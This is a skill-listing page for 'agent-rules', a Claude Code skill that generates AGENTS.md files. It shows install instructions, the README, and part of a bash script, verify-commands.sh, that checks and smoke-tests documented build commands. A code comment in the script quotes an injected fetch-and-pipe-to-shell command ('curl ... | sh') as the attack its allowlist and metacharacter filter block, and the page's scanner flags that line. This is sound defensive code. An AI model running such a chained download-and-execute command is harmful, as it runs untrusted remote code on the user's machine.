Skip to content
Back to search

agent-rules

SkillWorks with Claude CodeGitHub

Generate and maintain AGENTS.md, copilot-instructions.md, and other agent rule files

Safety scan

A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.

Checked today

Check it deeper on your machine

It has changed since its scan on 13 Nov 2026.

As a Claude Code plugin, install it and then ask Claude Code:

/plugin marketplace add keithmackay/mackayi/plugin install scanskillsafety@mackayiDo a deep scan of https://github.com/netresearch/agent-rules-skill with scanskillsafety

Or from a terminal, clone it and run it:

git clone https://github.com/keithmackay/scanskillsafety-skill ~/.claude/skills/scanskillsafetynode ~/.claude/skills/scanskillsafety/cli.cjs --deep 'https://github.com/netresearch/agent-rules-skill'

It checks the exact commit: every file, its packages against OSV (api.osv.dev), how it compares with this page's scan (findsafeskills.com receives the repository's address), and, if you agree, Claude reading every file with your own Claude subscription. It never runs the code.

Badge for your README
findsafeskills safety rating

Markdown

[![findsafeskills safety rating](/api/listings/netresearch--agent-rules-skill/badge.svg)](/listings/netresearch--agent-rules-skill)

HTML

<a href="/listings/netresearch--agent-rules-skill"><img src="/api/listings/netresearch--agent-rules-skill/badge.svg" alt="findsafeskills safety rating" /></a>

Install

i

Install instructions from the README

As written by the repo's author. findsafeskills has not verified these steps.

Marketplace (Recommended)

Add the [Netresearch marketplace](https://github.com/netresearch/claude-code-marketplace) once, then browse and install skills:

# Claude Code
/plugin marketplace add netresearch/claude-code-marketplace
/plugin install agent-rules@netresearch-claude-code-marketplace

Without a marketplace

Since Claude Code 2.1.157 a plugin directory under your personal skills directory loads on its own:

mkdir -p ~/.claude/skills
git clone https://github.com/netresearch/agent-rules-skill.git \
  ~/.claude/skills/agent-rules

It loads as `agent-rules@skills-dir` on the next session. Update with `git -C ~/.claude/skills/agent-rules pull` and start a new session; remove it by deleting the directory. This route has no `claude plugin update`.

npx ([skills.sh](https://skills.sh))

Install with any [Agent Skills](https://agentskills.io)-compatible agent:

npx skills add https://github.com/netresearch/agent-rules-skill --skill agent-rules

Download Release

Download the [latest release](https://github.com/netresearch/agent-rules-skill/releases/latest) and extract to your agent's skills directory.

Git Clone

git clone https://github.com/netresearch/agent-rules-skill.git

Composer (PHP Projects)

composer require netresearch/agent-rules-skill

Requires [netresearch/composer-agent-skill-plugin](https://github.com/netresearch/composer-agent-skill-plugin).

npm (Node Projects)

npm install --save-dev \
  @netresearch/agent-skill-coordinator \
  github:netresearch/agent-rules-skill

Requires [@netresearch/agent-skill-coordinator](https://github.com/netresearch/node-agent-skill-coordinator), which discovers the skill in `node_modules` and registers it in `AGENTS.md` via a `postinstall` hook. For pnpm, also allowlist the coordinator's postinstall:

{
  "pnpm": {
    "onlyBuiltDependencies": ["@netresearch/agent-skill-coordinator"]
  }
}

What was scanned

The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.

.claude-plugin/plugin.json · Manifest · 14 lines
  1. {
  2. "name": "agent-rules",
  3. "version": "3.17.0",
  4. "description": "Generate and maintain AGENTS.md, copilot-instructions.md, and other agent rule files",
  5. "author": {
  6. "name": "Netresearch DTT GmbH",
  7. "url": "https://www.netresearch.de"
  8. },
  9. "repository": "https://github.com/netresearch/agent-rules-skill",
  10. "license": "(MIT AND CC-BY-SA-4.0)",
  11. "skills": [
  12. "./skills/agent-rules"
  13. ]
  14. }
README.md · README · 190 lines
  1. <!-- SPDX-License-Identifier: CC-BY-SA-4.0 -->
  2. <!-- SPDX-FileCopyrightText: Netresearch DTT GmbH -->
  3. # AGENTS.md Generator Skill
  4. Netresearch AI skill for generating and maintaining AGENTS.md files following the [agents.md specification](https://agents.md/).
  5. > **What is AGENTS.md?** A context file written **for AI coding agents**, not humans. Human readability is a side effect, not a goal. Adopted by 60,000+ open-source projects. See the [official specification](https://agents.md/) and [best practices from 2,500+ repositories](https://github.blog/ai-and-ml/github-copilot/how-to-write-a-great-agents-md-lessons-from-over-2500-repositories/).
  6. ## Standards Compliance
  7. This skill implements two complementary standards:
  8. 1. **[agents.md](https://agents.md/)** - The file format this skill generates. A simple Markdown convention for guiding AI coding agents, supported by Claude Code, GitHub Copilot, Cursor, and 60,000+ open-source projects.
  9. 2. **[Agent Skills](https://agentskills.io)** - How this skill is packaged and distributed. A portable format for procedural knowledge that works across AI agents.
  10. **Supported Platforms:**
  11. - ✅ Claude Code (Anthropic)
  12. - ✅ Cursor
  13. - ✅ GitHub Copilot
  14. - ✅ Other skills-compatible AI agents
  15. ## Features
  16. - **Thin Root Files** - ~30 lines with precedence rules and global defaults
  17. - **Scoped Files** - Automatic subsystem detection (backend/, frontend/, internal/, cmd/)
  18. - **Auto-Extraction** - Commands from Makefile, package.json, composer.json, go.mod
  19. - **Multi-Language** - Templates for Go, PHP, TypeScript, Python, and hybrid projects
  20. - **Idempotent Updates** - Preserve existing structure while refreshing content
  21. - **Managed Headers** - Mark files as agent-maintained with timestamps
  22. ## Installation
  23. ### Marketplace (Recommended)
  24. Add the [Netresearch marketplace](https://github.com/netresearch/claude-code-marketplace) once, then browse and install skills:
  25. ```bash
  26. # Claude Code
  27. /plugin marketplace add netresearch/claude-code-marketplace
  28. /plugin install agent-rules@netresearch-claude-code-marketplace
  29. ```
  30. ### Without a marketplace
  31. Since Claude Code 2.1.157 a plugin directory under your personal skills directory loads on its own:
  32. ```bash
  33. mkdir -p ~/.claude/skills
  34. git clone https://github.com/netresearch/agent-rules-skill.git \
  35. ~/.claude/skills/agent-rules
  36. ```
  37. It loads as `agent-rules@skills-dir` on the next session. Update with `git -C ~/.claude/skills/agent-rules pull` and start a new session; remove it by deleting the directory. This route has no `claude plugin update`.
  38. ### npx ([skills.sh](https://skills.sh))
  39. Install with any [Agent Skills](https://agentskills.io)-compatible agent:
  40. ```bash
  41. npx skills add https://github.com/netresearch/agent-rules-skill --skill agent-rules
  42. ```
  43. ### Download Release
  44. Download the [latest release](https://github.com/netresearch/agent-rules-skill/releases/latest) and extract to your agent's skills directory.
  45. ### Git Clone
  46. ```bash
  47. git clone https://github.com/netresearch/agent-rules-skill.git
  48. ```
  49. ### Composer (PHP Projects)
  50. ```bash
  51. composer require netresearch/agent-rules-skill
  52. ```
  53. Requires [netresearch/composer-agent-skill-plugin](https://github.com/netresearch/composer-agent-skill-plugin).
  54. ### npm (Node Projects)
  55. ```bash
  56. npm install --save-dev \
  57. @netresearch/agent-skill-coordinator \
  58. github:netresearch/agent-rules-skill
  59. ```
  60. Requires [@netresearch/agent-skill-coordinator](https://github.com/netresearch/node-agent-skill-coordinator), which discovers the skill in `node_modules` and registers it in `AGENTS.md` via a `postinstall` hook. For pnpm, also allowlist the coordinator's postinstall:
  61. ```json
  62. {
  63. "pnpm": {
  64. "onlyBuiltDependencies": ["@netresearch/agent-skill-coordinator"]
  65. }
  66. }
  67. ```
  68. ## Usage
  69. The skill triggers on keywords like:
  70. - "AGENTS.md", "agents file"
  71. - "agent documentation", "AI onboarding"
  72. - "project context for AI"
  73. ### Example Prompts
  74. ```
  75. "Generate AGENTS.md for this project"
  76. "Update the agents documentation"
  77. "Create scoped AGENTS.md files for each subsystem"
  78. "Validate AGENTS.md structure"
  79. ```
  80. ## Supported Projects
  81. | Type | Detection | Features |
  82. |------|-----------|----------|
  83. | Go | `go.mod` | Version extraction, CLI tool detection |
  84. | PHP | `composer.json` | TYPO3/Laravel/Symfony detection |
  85. | TypeScript | `package.json` | React/Next.js/Vue/Express detection |
  86. | Python | `pyproject.toml` | Poetry/Ruff/Django/Flask detection |
  87. | Hybrid | Multiple markers | Auto-creates scoped files per stack |
  88. ## Structure
  89. ```
  90. agents/
  91. ├── SKILL.md # AI instructions
  92. ├── README.md # This file
  93. ├── LICENSE-MIT # Code license (MIT)
  94. ├── LICENSE-CC-BY-SA-4.0 # Content license (CC-BY-SA-4.0)
  95. ├── composer.json # PHP distribution
  96. ├── references/ # Convention documentation
  97. ├── scripts/ # Generator scripts
  98. │ ├── generate-agents.sh
  99. │ ├── validate-structure.sh
  100. │ └── detect-scopes.sh
  101. └── templates/ # Language-specific templates
  102. ├── go/
  103. ├── php/
  104. ├── typescript/
  105. └── python/
  106. ```
  107. ## Contributing
  108. Contributions welcome! Please submit PRs for:
  109. - Additional language templates
  110. - Detection signal improvements
  111. - Script enhancements
  112. - Documentation updates
  113. ## Governance and policies
  114. This repository follows the organisation-wide policies of `netresearch`:
  115. - [Governance](https://github.com/netresearch/.github/blob/main/GOVERNANCE.md): roles, how changes are decided and disputes resolved, and who controls access to sensitive resources.
  116. - [Roadmap](https://github.com/netresearch/.github/blob/main/ROADMAP.md): the maintenance work planned and excluded for the coming year.
  117. - [Handling of dependency and code analysis findings](https://github.com/netresearch/.github/blob/main/SECURITY.md#handling-of-dependency-and-code-analysis-findings): which vulnerability, licence and static-analysis findings block a change, the deadlines for the others, and how exceptions are recorded.
  118. - [Secret management](https://github.com/netresearch/.github/blob/main/SECURITY.md#secret-management): where CI secrets are stored, who can access them, and when they are rotated.
  119. - [Access roster](https://github.com/netresearch/.github/blob/main/docs/access-roster.md): the accounts with admin, maintain and write access to this repository.
  120. Checks that run on every pull request to `main` (`.github/workflows/security.yml`):
  121. - Dependency review: fails on a known vulnerability of severity high or critical in a dependency the pull request adds or changes.
  122. - Composer Audit: fails on a known vulnerability in a Composer dependency.
  123. - Opengrep: static security analysis of the repository's code; which findings fail the check is set by the [organisation's static analysis rule](https://github.com/netresearch/.github/blob/main/SECURITY.md#static-analysis-sast).
  124. - Betterleaks: fails on a committed secret.
  125. - zizmor: static analysis of the GitHub Actions workflows; findings go to code scanning and do not fail the check.
  126. What you can and cannot expect from this repository in terms of security, with its threat model: [docs/SECURITY-ASSURANCE.md](docs/SECURITY-ASSURANCE.md).
  127. ## License
  128. This project uses split licensing:
  129. - **Code** (scripts, workflows, configs): [MIT](LICENSE-MIT)
  130. - **Content** (skill definitions, documentation, references): [CC-BY-SA-4.0](LICENSE-CC-BY-SA-4.0)
  131. See the individual license files for full terms.
  132. ## Credits
  133. Developed and maintained by [Netresearch DTT GmbH](https://www.netresearch.de/).
  134. ---
  135. **Made with ❤️ for Open Source by [Netresearch](https://www.netresearch.de/)**
skills/agent-rules/scripts/verify-commands.sh · Bundled script · 857 lines · 1 finding marked
  1. #!/usr/bin/env bash
  2. # SPDX-License-Identifier: MIT
  3. # SPDX-FileCopyrightText: Netresearch DTT GmbH
  4. # Verify that commands documented in AGENTS.md actually work
  5. # This prevents "command rot" - documented commands that no longer exist
  6. # Requires: Bash 4.0+ (for associative arrays)
  7. set -euo pipefail
  8. # Check Bash version - we need 4.0+ for associative arrays (declare -A)
  9. if ((BASH_VERSINFO[0] < 4)); then
  10. echo "Error: Bash 4.0+ required (found ${BASH_VERSION})." >&2
  11. echo "On macOS: brew install bash" >&2
  12. exit 1
  13. fi
  14. PROJECT_DIR="."
  15. JSON=false
  16. UPDATE_VERIFIED=false
  17. # Parse flags. Preserves the original positional semantics (PROJECT_DIR="${1:-.}"):
  18. # the first non-flag argument becomes PROJECT_DIR, defaulting to "." when absent.
  19. while [[ $# -gt 0 ]]; do
  20. case $1 in
  21. --json)
  22. JSON=true
  23. shift
  24. ;;
  25. --update-verified)
  26. UPDATE_VERIFIED=true
  27. shift
  28. ;;
  29. --help|-h)
  30. cat <<EOF
  31. Usage: verify-commands.sh [PROJECT_DIR] [OPTIONS]
  32. Verify that commands documented in AGENTS.md actually exist (and optionally run).
  33. Options:
  34. --json Emit machine-readable JSON on stdout (human output suppressed)
  35. --update-verified On success, record today's date in the "Last verified"
  36. marker of AGENTS.md (without it, AGENTS.md is not changed)
  37. --help, -h Show this help message
  38. Environment variables:
  39. VERBOSE=true Show detailed [INFO] output on stderr
  40. DRY_RUN=true Skip writing the JSON sidecar and the --update-verified date
  41. SMOKE_TEST=true Actually run safe commands (not just check existence)
  42. TIMEOUT=SECONDS Per-command timeout for smoke tests (default: 60)
  43. OUTPUT_JSON=PATH Sidecar results file (default: PROJECT_DIR/.agents/command-verification.json)
  44. Examples:
  45. verify-commands.sh . # Verify commands in ./AGENTS.md
  46. verify-commands.sh . --json # Machine-readable JSON output
  47. EOF
  48. exit 0
  49. ;;
  50. *)
  51. PROJECT_DIR="$1"
  52. shift
  53. ;;
  54. esac
  55. done
  56. AGENTS_FILE="$PROJECT_DIR/AGENTS.md"
  57. VERBOSE="${VERBOSE:-false}"
  58. DRY_RUN="${DRY_RUN:-false}"
  59. SMOKE_TEST="${SMOKE_TEST:-false}"
  60. TIMEOUT="${TIMEOUT:-60}"
  61. # The default sidecar lives inside the analysed project, so it is only written
  62. # when its directory is a real directory there (see write_json_results).
  63. OUTPUT_JSON_IS_DEFAULT=false
  64. [ -z "${OUTPUT_JSON:-}" ] && OUTPUT_JSON_IS_DEFAULT=true
  65. OUTPUT_JSON="${OUTPUT_JSON:-$PROJECT_DIR/.agents/command-verification.json}"
  66. # Colors
  67. RED='\033[0;31m'
  68. GREEN='\033[0;32m'
  69. YELLOW='\033[1;33m'
  70. NC='\033[0m' # No Color
  71. log() {
  72. if [ "$VERBOSE" = true ]; then
  73. echo -e "[INFO] $*" >&2
  74. fi
  75. }
  76. error() {
  77. echo -e "${RED}[ERROR]${NC} $*" >&2
  78. }
  79. success() {
  80. echo -e "${GREEN}[OK]${NC} $*"
  81. }
  82. warn() {
  83. echo -e "${YELLOW}[WARN]${NC} $*"
  84. }
  85. # Check if AGENTS.md exists
  86. if [ ! -f "$AGENTS_FILE" ]; then
  87. error "AGENTS.md not found at $AGENTS_FILE"
  88. exit 1
  89. fi
  90. cd "$PROJECT_DIR"
  91. # In JSON mode, route all human-readable output to /dev/null and reserve the
  92. # original stdout (fd 3) for the single JSON document emitted at the end. This
  93. # keeps --json strictly additive: the default (no-flag) path is untouched.
  94. JSON_CMDS=()
  95. if [[ "$JSON" = true ]]; then
  96. exec 3>&1 1>/dev/null
  97. fi
  98. echo "Verifying commands in $AGENTS_FILE..."
  99. echo ""
  100. FAILED=0
  101. PASSED=0
  102. SKIPPED=0
  103. # JSON results storage
  104. declare -A COMMAND_RESULTS
  105. # Initialize JSON output directory (always needed for results). A symlinked
  106. # .agents directory in the analysed project would put the sidecar outside it.
  107. SIDECAR_DIR="$(dirname "$OUTPUT_JSON")"
  108. SIDECAR_WRITABLE=true
  109. if [ "$OUTPUT_JSON_IS_DEFAULT" = true ] && [ -L "$SIDECAR_DIR" ]; then
  110. SIDECAR_WRITABLE=false
  111. else
  112. mkdir -p "$SIDECAR_DIR"
  113. fi
  114. # Check if a command is safe to execute using a whitelist approach.
  115. # Only commands whose base binary is in the ALLOWED_COMMANDS list are permitted.
  116. # Returns 0 if safe, 1 if not whitelisted.
  117. #
  118. # The command is executed later as a whole string by `bash -c`, so checking the
  119. # first word alone decides nothing: "git status; curl http://x | sh" passes a
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 140 on GitHub
  120. # base-command check and then runs both halves (#104). Anything carrying shell
  121. # syntax that could chain, redirect or substitute a second command is therefore
  122. # rejected outright rather than approved on its prefix.
  123. is_safe_command() {
  124. local cmd="$1"
  125. # Shell metacharacters: command separators (; & |), substitution ($ `),
  126. # redirection (< >), grouping ({ } ( )), globs that could expand into
  127. # further arguments, and newlines. A documented build command needs none
  128. # of them; anything that does is not verifiable by smoke-running it.
  129. # A backslash is rejected too: bash -c would remove it, so "-ex\ec" would
  130. # reach the program as an option the checks below look for by name.
  131. if [[ "$cmd" == *[\;\&\|\`\$\<\>\{\}\(\)\*\?\!\\$'\n']* ]]; then
  132. return 1
  133. fi
  134. # Whitelist of known safe base commands.
  135. # These are common build/dev tools that are safe to invoke for verification.
  136. # Inspection tools whose own options can run a program or write a file are
  137. # not on it (sed, awk, sort, uniq, less, find, rg, ag, yq, file): each has
  138. # several such options, and none of them is a build command whose
  139. # documentation needs verifying.
  140. local -a ALLOWED_COMMANDS=(
  141. # Version control (only `git --version`, see has_safe_arguments)
  142. git
  143. # File inspection
  144. ls cat head tail wc stat grep egrep fgrep diff
  145. # Build tools / package managers
  146. make go npm yarn pnpm bun composer cargo deno gradle gradlew python python3 pip pip3
  147. poetry uv pytest php phpunit node ruby bundle gem mvn ant
  148. # Project-specific binaries (resolved via PATH or relative path)
  149. vendor/bin
  150. # Container tools (read-only / informational subcommands only)
  151. docker podman
  152. # Linters and formatters
  153. eslint prettier phpcs phpcbf phpstan psalm rector black flake8 mypy ruff shellcheck
  154. # Documentation / misc
  155. # curl/wget are deliberately absent: fetching a URL is not a way to
  156. # verify that a documented build command works, and they are the two
  157. # entries that turn an allowlisted base command into an outbound
  158. # request (#104). Such commands are reported as not smoke-tested.
  159. jq
  160. # Testing
  161. jest vitest mocha
  162. )
  163. # Extract the base command (first word), stripping any leading ./
  164. local base_cmd
  165. base_cmd=$(echo "$cmd" | awk '{print $1}' | sed 's|^\./||')
  166. # Allow vendor/bin/* paths
  167. if [[ "$base_cmd" == vendor/bin/* ]]; then
  168. return 0
  169. fi
  170. # Check against whitelist, then the arguments
  171. for allowed in "${ALLOWED_COMMANDS[@]}"; do
  172. if [[ "$base_cmd" == "$allowed" ]]; then
  173. has_safe_arguments "$base_cmd" "$cmd"
  174. return
  175. fi
  176. done
  177. # Not in whitelist - reject
  178. return 1
  179. }
  180. # The first word decides nothing for a tool whose own arguments can run a
  181. # command or write a file. These are allowed only in the forms that do
  182. # neither. Quotes are removed before comparing, as bash -c would remove them.
  183. has_safe_arguments() {
  184. local base="$1" cmd="$2"
  185. local -a words=()
  186. read -ra words <<<"${cmd//[\'\"]/}"
  187. case "$base" in
  188. git)
  189. # Any other git command reads the analysed repository's config,
  190. # which can name commands git runs (core.fsmonitor, filters,
  191. # aliases, diff drivers).
  192. [[ ${#words[@]} -eq 2 && ( "${words[1]}" == "--version" || "${words[1]}" == "version" ) ]]
  193. return
  194. ;;
  195. docker|podman)
  196. # Informational subcommands only, named first (no global options).
  197. [[ ${#words[@]} -ge 2 ]] || return 1
  198. case "${words[1]}" in
  199. version|--version|info|ps|images) return 0 ;;
  200. *) return 1 ;;
  201. esac
  202. ;;
  203. esac
  204. return 0
  205. }
  206. # Portable milliseconds timestamp (works on both GNU and BSD date)
  207. get_time_ms() {
  208. # Try GNU date with nanoseconds first, fall back to seconds * 1000
  209. if date +%s%3N 2>/dev/null | grep -qE '^[0-9]+$'; then
  210. date +%s%3N
  211. else
  212. echo $(( $(date +%s) * 1000 ))
  213. fi
  214. }
  215. # Run a command with timeout and measure duration
  216. smoke_test_command() {
  217. local cmd="$1"
  218. local start_time end_time duration_ms exit_code
  219. # Safety check - skip dangerous commands
  220. if ! is_safe_command "$cmd"; then
  221. warn "Not smoke-tested (not on the allowlist, or contains shell syntax): $cmd"
  222. COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false, "skipped": true, "reason": "safety"}'
  223. return 1
  224. fi
  225. start_time=$(get_time_ms)
  226. # Run with timeout, capture exit code
  227. if timeout "${TIMEOUT}s" bash -c "$cmd" > /dev/null 2>&1; then
  228. exit_code=0
  229. else
  230. exit_code=$?
  231. fi
  232. end_time=$(get_time_ms)
  233. duration_ms=$((end_time - start_time))
  234. # Store result
  235. if [ $exit_code -eq 0 ]; then
  236. COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": true, "duration_ms": '"$duration_ms"'}'
  237. return 0
  238. elif [ $exit_code -eq 124 ]; then
  239. # Timeout
  240. COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false, "timeout": true, "duration_ms": '"$((TIMEOUT * 1000))"'}'
  241. return 1
  242. else
  243. COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false, "exit_code": '"$exit_code"', "duration_ms": '"$duration_ms"'}'
  244. return 1
  245. fi
  246. }
  247. # Write results to JSON file
  248. # The document is built by jq, so any command text is encoded correctly. It is
  249. # written to a temporary file beside the target and renamed into place: a
  250. # symlink at the target is replaced, never written through.
  251. write_json_results() {
  252. if [ "$SIDECAR_WRITABLE" != true ]; then
  253. warn "Not writing $OUTPUT_JSON: $SIDECAR_DIR is a symlink"
  254. return 0
  255. fi
  256. local timestamp commands='{}' cmd tmp
  257. # Portable ISO 8601 timestamp (works on both GNU and BSD date)
  258. timestamp=$(date -u +"%Y-%m-%dT%H:%M:%SZ")
  259. for cmd in "${!COMMAND_RESULTS[@]}"; do
  260. commands=$(jq -c --arg k "$cmd" --argjson v "${COMMAND_RESULTS[$cmd]}" '. + {($k): $v}' <<<"$commands")
  261. done
  262. tmp=$(mktemp "$SIDECAR_DIR/.command-verification.XXXXXX")
  263. jq -n --arg t "$timestamp" --arg smoke "$SMOKE_TEST" --argjson c "$commands" \
  264. '{verified_at: $t, smoke_tested: ($smoke == "true"), commands: $c}' > "$tmp"
  265. [ -L "$OUTPUT_JSON" ] && rm -f "$OUTPUT_JSON"
  266. mv -f "$tmp" "$OUTPUT_JSON"
  267. log "Results written to $OUTPUT_JSON"
  268. }
  269. # Extract commands from markdown code blocks and table cells
  270. # Look for patterns like: `command arg` or | command | or | `command` |
  271. extract_commands() {
  272. # Extract from tables with backticks (| `command` | format)
  273. # shellcheck disable=SC2016 # grep/sed pattern: backticks are literal.
  274. grep -oE '\| `[^`]+`' "$AGENTS_FILE" 2>/dev/null | sed 's/| `//;s/`$//' | grep -v '^\s*$' || true
  275. # Extract from tables without backticks in Commands section
  276. # Look for lines like "| Lint | vendor/bin/php-cs-fixer fix --dry-run |"
  277. # Skip header row and separator row, get 3rd column (command), filter empty and time estimates
  278. sed -n '/^## Commands/,/^##/p' "$AGENTS_FILE" 2>/dev/null | \
  279. grep -E '^\|' | \
  280. tail -n +3 | \
  281. cut -d'|' -f3 | \
  282. sed 's/^[[:space:]]*//;s/[[:space:]]*$//' | \
  283. grep -v '^$' | \
  284. grep -v '^~' || true
  285. # Extract from inline code that looks like commands
  286. # Includes: npm, yarn, pnpm, bun, make, go, composer, cargo, python, pip, poetry, uv, deno, gradle, php, vendor/bin
  287. # shellcheck disable=SC2016 # grep/sed pattern: backticks are literal.
  288. grep -oE '`(npm |yarn |pnpm |bun |make |go |composer |cargo |pytest |python |pip |poetry |uv |deno |gradle |php |vendor/bin/)[^`]+`' "$AGENTS_FILE" 2>/dev/null | sed 's/`//g' || true
  289. }
  290. # Print the makefile make would read in the current directory and every file
  291. # it includes, without running make: even `make -n` expands $(shell ...) while
  292. # it parses, which would run the project's commands just to look up a target.
  293. # An include naming a variable needs make to expand it and is skipped; globs
  294. # are expanded; a file outside the project or a symlinked one is ignored.
  295. makefile_files() {
  296. local first="" f word match real root
  297. for f in GNUmakefile makefile Makefile; do
  298. if [ -f "$f" ]; then first="$f"; break; fi
  299. done
  300. [ -n "$first" ] || return 0
  301. root="$(pwd -P)"
  302. local -a queue=("$first")
  303. local -A seen=()
  304. while [ "${#queue[@]}" -gt 0 ]; do
  305. f="${queue[0]}"
  306. queue=("${queue[@]:1}")
  307. # A symlinked makefile is skipped; the directory is resolved with
  308. # cd/pwd -P because macOS realpath has no -e.
  309. [ -L "$f" ] && continue
  310. [ -f "$f" ] || continue
  311. real="$(cd "$(dirname "$f")" 2>/dev/null && pwd -P)/$(basename "$f")" || continue
  312. [[ "$real" == "$root"/* ]] || continue
  313. [ -n "${seen[$real]:-}" ] && continue
  314. seen[$real]=1
  315. printf '%s\n' "$f"
  316. while IFS= read -r word; do
  317. [[ "$word" == *'$'* ]] && continue
  318. while IFS= read -r match; do
  319. [ -n "$match" ] && queue+=("$match")
  320. done < <(compgen -G "$word" || true)
  321. done < <(awk '/^[ \t]*(-|s)?include[ \t]/ {
  322. sub(/^[ \t]*(-|s)?include[ \t]+/, ""); sub(/[ \t]*#.*/, "")
  323. n = split($0, w, /[ \t]+/)
  324. for (i = 1; i <= n; i++) if (w[i] != "") print w[i]
  325. }' "$f")
  326. done
  327. }
  328. # Print the targets of the makefile and its includes, read as text: explicit
  329. # targets, names listed as .PHONY prerequisites (make accepts those), and
  330. # pattern rules such as plan-% (matched by makefile_has_target). Variable
  331. # assignments (VAR = x, VAR := x, VAR ::= x, export VAR := x), recipe lines,
  332. # define blocks and other special targets are not targets.
  333. makefile_targets() {
  334. local f
  335. while IFS= read -r f; do
  336. awk '
  337. /^define[ \t]/ || /^define$/ { in_define = 1; next }
  338. in_define { if ($0 ~ /^endef/) in_define = 0; next }
  339. /^\t/ || /^[ \t]*#/ { next }
  340. {
  341. line = $0
  342. sub(/[ \t]*#.*/, "", line)
  343. p = index(line, ":")
  344. if (p == 0) next
  345. head = substr(line, 1, p - 1)
  346. rest = substr(line, p + 1)
  347. if (rest ~ /^:?=/ || head ~ /[=$]/) next
  348. if (head ~ /^[ \t]*\.PHONY[ \t]*$/) {
  349. n = split(rest, t, /[ \t]+/)
  350. for (i = 1; i <= n; i++) if (t[i] != "" && t[i] !~ /\$/) print t[i]
  351. next
  352. }
  353. n = split(head, t, /[ \t]+/)
  354. for (i = 1; i <= n; i++)
  355. if (t[i] != "" && t[i] !~ /^\./) print t[i]
  356. }' "$f"
  357. done < <(makefile_files)
  358. }
  359. # Is <target> a target of the makefile in the current directory, by name or
  360. # through a pattern rule?
  361. makefile_has_target() {
  362. local target="$1" targets t
  363. targets="$(makefile_targets)"
  364. grep -qxF -- "$target" <<<"$targets" && return 0
  365. while IFS= read -r t; do
  366. [[ "$t" == *%* ]] || continue
  367. # shellcheck disable=SC2053 # the pattern is meant to match as a glob
  368. [[ "$target" == ${t//%/*} ]] && return 0
  369. done <<<"$targets"
  370. return 1
  371. }
  372. # Verify a single command exists (not that it succeeds, just that it's callable)
  373. verify_command() {
  374. local cmd="$1"
  375. local base_cmd
  376. # Extract the base command (first word)
  377. base_cmd=$(echo "$cmd" | awk '{print $1}')
  378. # Skip placeholders
  379. if [[ "$cmd" == *"<"* ]] || [[ "$cmd" == *"{{{"* ]]; then
  380. log "Skipping placeholder: $cmd"
  381. ((SKIPPED+=1))
  382. return 0
  383. fi
  384. # Skip if it's just a flag or option
  385. if [[ "$base_cmd" == -* ]]; then
  386. return 0
  387. fi
  388. log "Checking: $cmd"
  389. # Check different command types
  390. case "$base_cmd" in
  391. npm|yarn|pnpm|bun)
  392. # Check if package.json script exists
  393. local script="${cmd#* }"
  394. script="${script#run }"
  395. script="${script%% *}"
  396. if [ -f "package.json" ]; then
  397. local script_exists=false
  398. if jq -e ".scripts[\"$script\"]" package.json > /dev/null 2>&1; then
  399. script_exists=true
  400. elif [[ "$script" =~ ^(install|test|build|start|run)$ ]]; then
  401. script_exists=true
  402. fi
  403. if [ "$script_exists" = true ]; then
  404. if [ "$SMOKE_TEST" = true ]; then
  405. # For test commands, only verify they start (dry-run if available)
  406. local test_cmd="$cmd"
  407. if [[ "$script" == "test" ]]; then
  408. # Try to use --help or --dry-run to avoid full test run
  409. test_cmd="$base_cmd run $script -- --help 2>/dev/null || $base_cmd run $script --dry-run 2>/dev/null || true"
  410. fi
  411. if smoke_test_command "$test_cmd"; then
  412. local duration="${COMMAND_RESULTS[$cmd]}"
  413. duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ')
  414. success "$base_cmd script works: $script (~${duration}ms)"
  415. ((PASSED+=1))
  416. else
  417. warn "$base_cmd script exists but smoke test failed: $script"
  418. COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false}'
  419. ((SKIPPED+=1))
  420. fi
  421. else
  422. success "$base_cmd script exists: $script"
  423. COMMAND_RESULTS["$cmd"]='{"exists": true}'
  424. ((PASSED+=1))
  425. fi
  426. else
  427. warn "$base_cmd script not found: $script (in $cmd)"
  428. COMMAND_RESULTS["$cmd"]='{"exists": false}'
  429. ((SKIPPED+=1))
  430. fi
  431. else
  432. warn "No package.json found for: $cmd"
  433. COMMAND_RESULTS["$cmd"]='{"exists": false}'
  434. ((SKIPPED+=1))
  435. fi
  436. ;;
  437. make)
  438. # Check if Makefile target exists
  439. local target="${cmd#make }"
  440. target="${target%% *}"
  441. if [ -f "Makefile" ] || [ -f "makefile" ] || [ -f "GNUmakefile" ]; then
  442. if makefile_has_target "$target"; then
  443. if [ "$SMOKE_TEST" = true ]; then
  444. # Use make -n (dry run) for smoke test to avoid side effects
  445. if smoke_test_command "make -n $target"; then
  446. local duration="${COMMAND_RESULTS[$cmd]}"
  447. duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ')
  448. success "make target works: $target (~${duration}ms)"
  449. ((PASSED+=1))
  450. else
  451. warn "make target exists but dry-run failed: $target"
  452. COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false}'
  453. ((SKIPPED+=1))
  454. fi
  455. else
  456. success "make target exists: $target"
  457. COMMAND_RESULTS["$cmd"]='{"exists": true}'
  458. ((PASSED+=1))
  459. fi
  460. else
  461. error "make target not found: $target"
  462. COMMAND_RESULTS["$cmd"]='{"exists": false}'
  463. ((FAILED+=1))
  464. fi
  465. else
  466. warn "No Makefile found for: $cmd"
  467. COMMAND_RESULTS["$cmd"]='{"exists": false}'
  468. ((SKIPPED+=1))
  469. fi
  470. ;;
  471. composer)
  472. # Check if composer script exists
  473. local script="${cmd#composer }"
  474. script="${script%% *}"
  475. if [ -f "composer.json" ]; then
  476. local script_exists=false
  477. if [[ "$script" =~ ^(install|update|require|remove|dump-autoload)$ ]]; then
  478. script_exists=true
  479. elif jq -e ".scripts[\"$script\"]" composer.json > /dev/null 2>&1; then
  480. script_exists=true
  481. fi
  482. if [ "$script_exists" = true ]; then
  483. if [ "$SMOKE_TEST" = true ]; then
  484. # For composer scripts, try --dry-run or --help
  485. local test_cmd="$cmd"
  486. if [[ "$script" =~ ^(install|update)$ ]]; then
  487. test_cmd="composer $script --dry-run 2>/dev/null || true"
  488. fi
  489. if smoke_test_command "$test_cmd"; then
  490. local duration="${COMMAND_RESULTS[$cmd]}"
